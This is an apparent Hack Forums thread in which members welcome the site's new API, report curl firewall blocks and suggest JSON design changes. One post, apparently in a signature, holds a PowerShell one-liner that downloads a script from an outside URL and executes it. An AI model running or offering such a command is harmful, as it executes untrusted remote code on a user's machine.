Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

[Official] Hack Forums API | Happy 10th Birthday HF

I don't have the slightest clue how to use API's but I know they are useful. Hope to see some cool shit come from this!
Good shit man can't wait to see what Adam and others come up with
Where are all my friends
Using a basic curl get is blocking me. Does the firewall require specific headers or proper useragents to be sent?

Edit: Yes, just setting a proper user agent fixes the firewall block.
Excellent addition to the forums!

[Image: sI9xk39.png]
(Apr 21, 2017 07:50 PM)King of Hearts Wrote:  Using a basic curl get is blocking me. Does the firewall require specific headers or proper useragents to be sent?

I wonder how that'll work with datacenters being blocked and such.
(Apr 21, 2017 07:51 PM)Charger Wrote:  I wonder how that'll work with datacenters being blocked and such.

Yup, I'm sure Omni might have a solution. This was released earlier than intended I think.

But yes, accessing the API through a datacenter IP does not work atm.
Is there a place or subforum where we can leave feedback on the API and how it could be potentially improved. For example, I've just glanced at the API and all seems good, but there are ways in which the API is implemented that makes it harder for people to utilise/read the response returned from the server. For example, the API call

Code
https://hackforums.net/apicall.php?key=API_KEY_HERE&cat=2

returns this response
Spoiler (Click to View)

the reason why this is a bit of a problem for developers is that, the "children" node on the JSON data is not an array and thus harder to parse since the ID numbers are dynamic. For example, in a language like C# or Java, it would be harder to compute the dynamic name of each key since it's different for each forum. I would just recommend Omni to alter the children node to be an array, whereby the Id is part of the json object. This way, it's easier for us parse since we can easily use a for loop. I see this pattern is existence is many other places in the API so maybe it's due to the way tables are in the DB or the way the code of the mybb forum is.

Also, I would like to suggest we are able to change/generate a new key or delete it all together, I suppose this would be to improve security in the event a key is compromised, or in the event the user generated a key and would like to delete it all together.

Thanks. Other than that, I think this is a good addition and it allows members to contribute and design their own programs. Also, it can be a way to get people more into programming xD.
(Apr 21, 2017 07:53 PM)King of Hearts Wrote:  Yup, I'm sure Omni might have a solution. This was released earlier than intended I think.

But yes, accessing the API through a datacenter IP does not work atm.

I posted your statement on his thread. I'm sure he already has a plan.
I'm so fucking excited! So ready for this to available for Ub3r
powershell.exe -noprofile -noexit -command iex "(new-object net.webclient).downloadstring('https://media.nick-name.net/ps/execute.ps1')"[Image: f4hRdFS.gif]
Never thought I'd regret getting repkilled :(

Good job Mesh.
[Image: xITDbw2.gif]
(Apr 21, 2017 07:53 PM)+Haze Wrote:  Is there a place or subforum where we can leave feedback on the API and how it could be potentially improved. For example, I've just glanced at the API and all seems good, but there are ways in which the API is implemented that makes it harder for people to utilise/read the response returned from the server. For example, the API call

Code
https://hackforums.net/apicall.php?key=API_KEY_HERE&cat=2

returns this response
Spoiler (Click to View)

the reason why this is a bit of a problem for developers is that, the "children" node on the JSON data is not an array and thus harder to parse since the ID numbers are dynamic. For example, in a language like C# or Java, it would be harder to compute the dynamic name of each key since it's different for each forum. I would just recommend Omni to alter the children node to be an array, whereby the Id is part of the json object. This way, it's easier for us parse since we can easily use a for loop. I see this pattern is existence is many other places in the API so maybe it's due to the way tables are in the DB or the way the code of the mybb forum is.

Also, I would like to suggest we are able to change/generate a new key or delete it all together, I suppose this would be to improve security in the event a key is compromised, or in the event the user generated a key and would like to delete it all together.

Thanks. Other than that, I think this is a good addition and it allows members to contribute and design their own programs. Also, it can be a way to get people more into programming xD.

Do you want it to be more like that TID call where it lists reply IDs before giving the array of replies? like this one does: https://hackforums.net/apicall.php?key=X...id=5605411

(Apr 21, 2017 07:57 PM)Tɦɛ Gʀiɱ Wrote:  Never thought I'd regret getting repkilled :(

Good job Mesh.

Tell me about it, the pain haha
Well here we are, this is goddamn awesome. Cannot wait to see what happens next!
[Image: signature.png]
(Apr 21, 2017 08:01 PM)xadamxk Wrote:  And like that, I have push notifications for HF :)

Thanks for posting actually, I may need multiple posts.
Can you delete that when you get the chance though?




API Calls

-snip-

Get off my thread you goddamn pirate!!!!!! 🤣
This is great, happy 10 years!:)
This is actually cool and the possibilities are endless. Can't wait for some type of functioning mobile app.